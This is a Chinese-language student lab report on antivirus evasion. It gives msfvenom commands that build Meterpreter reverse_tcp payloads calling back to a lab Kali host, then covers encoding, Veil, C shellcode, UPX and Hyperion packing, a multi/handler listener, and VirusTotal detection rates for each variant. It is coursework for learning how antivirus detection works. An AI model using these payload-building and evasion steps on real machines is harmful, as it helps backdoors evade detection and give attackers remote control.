实验文档
1.实验内容
1.1 回答问题
-
(1)杀软是如何检测出恶意代码的?
- 通过特征码检测;
- 根据程序行为规律判断;
- 根据程序运行时的实际行为来判断。
-
(2)免杀是做什么?
对恶意程序做各种处理,让它免除杀毒软件检测,从而可以进行攻击。 -
(3)免杀的基本方法有哪些?
- 通过各种方法,改变恶意软件的特征码;
- 隐藏恶意程序的恶意行为。
1.2实践内容简述
(1)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
(2)学习安装、使用veil,加壳工具
(3)使用C + shellcode编程
(4)通过组合应用各种技术实现恶意代码免杀
(5)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
实验准备:Kali虚拟机的 ip:192.168.57.133

2.1免杀效果参考基准
通过
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 PORT=2325 -f exe > met20232325.exe
生成一个没有经过任何处理的文件。

将该文件通过virustotal检测,检出率为57/70,通过此数字与后续的结果进行对比,检验各种处理方法的免杀技术效果。

2.2正确使用msf编码器
2.2.1直接生成和经过多次编码生成的exe文件
利用指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.57.133 LPORT=2325 -f exe > met-encoded20232325.exe
生成met-encoded20232325.exe。其中-e x86/shikata_ga_nai用于指定编码方式;-b '\x00'用于指定要避免的坏字符。

得到的检出率为56/70,基本没有明显变化。

使用指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.57.133 LPORT=2325 -f exe > met-10encoded20232325.exe
进行10次编码,生成文件met-10encoded20232325.exe。

得到的检出率为58/71,基本没有变化。

说明这种处理方式生成的文件的特征码已经基本都在库中了,非常容易被识别出,很难有免杀效果
2.2.2生成jar文件和编码的jar文件
利用指令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=2325 x>metjar20232325.jar
直接生成metjar20232325.jar。

再利用指令
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.57.133 LPORT=2325 x>met-encoded-jar20232325.jar
生成一份编码10次的met-encoded-jar20232325.jar。

得到的检出率均为35/64,尽管依然不低,但是通过对比可以得出结论,jar文件更难被识别出来。

2.2.3生成php文件和编码的php文件
利用指令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=2325 x> metphp_20232325.php
直接生成metphp_20232325.php。

直接生成的php文件检出率为25/62

利用指令
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.57.133 LPORT=2408 x> met_encoded10_php_20232325.php
生成一份编码10次的met_encoded10_php_20232325.php。

进行10次编码的检出率为8/62,说明php文件相比前两种方式更加难以被识别,且php的多次编码有良好的免杀效果,对检出率降低有很大帮助。

2.3使用veil免杀工具
2.3.1veil免杀工具的下载
使用指令
sudo apt -y install veil
,用apt下载veil。

使用指令
sudo usr/share/veil/config/setup.sh --force --silent
,用shell脚本配置好环境。
安装成功后会呈现下图的样子

2.3.2veil使用过程
看到Evasion是第一个选项,在veil中输入use 1进入Evasion模块。

输入list查看所有可用的种类。

看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7。

进行配置,输入以下信息。
set LHOST 192.168.57.133(kail虚拟机的ip)
set LPORT 2325(设置端口2325)
generate(开始生成)
下面会提示生成的具体内容和生成后文件所在的位置。

到图中的目录,可以看到已经生成好的文件payload20232325.exe。

测试这个文件的检出率,发现是37/71,对比最基础的版本有免杀能力的提升,但效果不是很好。

2.4使用C + shellcode编程
使用指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=2325 -f c
,用msfvenom工具来生成一个C语言的源代码格式的有效载荷

用生成的shellcode编写一个c文件,使用命令
nano shellcode_c_20232325

利用指令
i686-w64-mingw32-g++ shellcode_c_20232325.c -o shellcode_c_20232325.exe
进行编译,得到shellcode_c_20232325.exe文件。

测试这个文件的检出率,发现是37/71,有一定的免杀效果,但依旧不是很理想。

2.5使用加壳工具
2.5.1使用压缩壳UPX
使用指令
upx shellcode_c_20232325.exe -o shellcode_c_upx_20232325.exe
,给上一个步骤生成的shellcode_c_20232325.exe加一个压缩壳。

测试检出率为41/71,比较shellcode_c_20232325.exe的检出率,经过思考说明这一步使用的压缩壳已经被很广泛的记录,特征码非常明显,让其免杀效果大打折扣。

2.5.2使用加密壳Hyperion
使用指令:
sudo cp shellcode_c_20232325.exe /usr/share/windows-resources/hyperion/
(将待加密文件放到工作目录下)
cd /usr/share/windows-resources/hyperion
(进入工作目录)
wine hyperion.exe -v shellcode_c_20232325.exe shellcode_c_hyp_20232325.exe


输入ls检查文件是否生成。

测试检出率为50/71,依旧比原版上升,说明加密壳的特征已经被很广泛的记录,免杀效果大打折扣。

2.6 组合使用msfvenom工具与加壳技术
2.6.1 使用msfvenom工具
首先通过命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.57.133 LPORT=2325 -f c > 20232325_shellcode_multi.c
,生成一个经过10次多态编码且不含空字节的C语言格式shellcode,并将其保存。

此后在vim中编写c语言程序,主要内容是加入main函数。

通过命令
i686-w64-mingw32-g++ 20232325_shellcode_multi.c -o 20232325_shellcode_multi.exe
,将原文件编译为20232325_shellcode_multi.exe。

2.6.2 使用压缩壳UPX
通过命令
upx 20232325_shellcode_multi.exe -o 20232325_shellcode_multi_2.exe
,为20232325_shellcode_multi.exe加上UPX压缩壳。

2.6.3 使用加密壳Hyperion
通过命令
wine hyperion.exe -v 20232325_shellcode_multi_2.exe 20232325_shellcode_multi_3.exe
,为20232325_shellcode_multi_2.exe加上Hyperion加密壳。

2.6.4 检测免杀效果
对最后三重处理的文件20232325_shellcode_multi_3.exe进行检测,发现检出率为50/71,免杀效果不尽人意

对只进行压缩,未进行加密的文件20232409_shellcode_multi_2.exe进行检测,检出率为31/71,效果相比三重处理文件更好。经过思考,因为加密壳已被标识为一种高风险的恶意行为模式,所以加上加密壳免杀效果反而会更差。

将文件20232325_shellcode_multi_2.exe使用Windows主机上的杀毒软件进行扫描,仍能查出其中的潜在威胁。说明win11的杀毒软件越加完善了,如今想做出免杀软件需要的能力更高。

本次使用的杀毒软件是火绒,版本号为6.0.7.14

2.7 开启杀软回连实测
尝试使用20232409_shellcode_multi_3.exe进行回连检测。Kali虚拟机作为攻击机,进入msf的控制台,配置监听处理器、载荷类型、IP地址与监听端口等相关信息,本处步骤与实验2相似。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.57.133
set LPORT 2325
exploit

Windows主机作为目标主机,在其上启动后门程序20232325_shellcode_multi_3.exe。双击程序尝试运行发现火绒将其成功拦截,再次运行已经无法成功。

程序直接被火绒扔进了隔离区,我甚至在桌面上找不到它。

3.问题及解决
问题1:安装veil时发生报错,无法顺利安装

解决方案:认为是依赖关系不满足,首先执行依赖修复命令
sudo apt --fix-broken install
,再更新软件包列表
sudo apt update
,再次重新安装veil,成功解决问题。
问题2:想使用Hyperion加密壳,执行到一半就停止

解决方案:使用管理员权限后,让命令有足够权限写入文件,发现可以顺利生产。
4. 心得体会
本次实验的主要内容是免杀原理与实践,学习使用了如msfvenom、veil等软件,也多次尝试使用virustotal检测程序的检出率,还将各种方式综合起来生成程序测试免杀能力(虽然效果不佳),本次实验让我对杀软原理、后门程序等知识有了进一步的掌握和更立体的理解。
本次实验总体上比上次顺利的多,碰到困扰我时间最久的问题是veil的安装,veil安装的非常慢,而且经常报错或者依赖关系有问题,通过使用ai工具,我通过修复依赖,更新软件包列表,还是顺利的下载并打开成功了veil,下载成功后也是长出一口气。
同时我发现如今的Win11系统的安全防护能力确实有了很大的提高,实验的大部分时候都要关闭杀软的同时,关闭Win11自带的病毒检测功能,否则做着做着程序就没了。同时有些处理方式使用后反而会提高检测率,说明特征库对于杀软检测恶意程序的重要性,也说明了处理方式并不是越多越好,而是要合理组合。
总之,本次实验提高了我在免杀原理方面的认知,也让我对现在电脑的安全防护有了更立体的认识,希望我能早日做出一个正经的免杀程序,在那之前我还有很多需要学习。